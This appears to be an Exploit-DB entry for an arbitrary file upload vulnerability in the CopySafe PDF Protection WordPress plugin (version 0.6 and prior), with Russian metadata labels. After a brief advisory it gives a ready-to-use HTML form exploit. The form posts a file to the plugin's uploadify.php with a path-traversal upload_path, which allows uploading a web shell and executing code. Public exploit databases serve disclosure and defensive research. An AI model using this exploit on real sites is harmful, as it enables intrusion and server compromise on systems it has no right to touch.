Exploit WordPress Plugin CopySafe PDF Protection - Arbitrary File Upload

[Exploiter]

EDB-ID

39254

Проверка EDB

1. Пройдено

Автор

JAGRITI SAHU

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2014-07-14

WordPress Plugin CopySafe PDF Protection - Arbitrary File Upload

source: https://www.securityfocus.com/bid/68656/info

The CopySafe PDF Protection plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

CopySafe PDF Protection 0.6 and prior are vulnerable. 

<form 
action="http://www.example.com/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php" 
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="wpcsp_file" ><br>
<input type=text name="upload_path" value="../../../../uploads/">
<input type="submit" name="submit" value="Submit">
</form>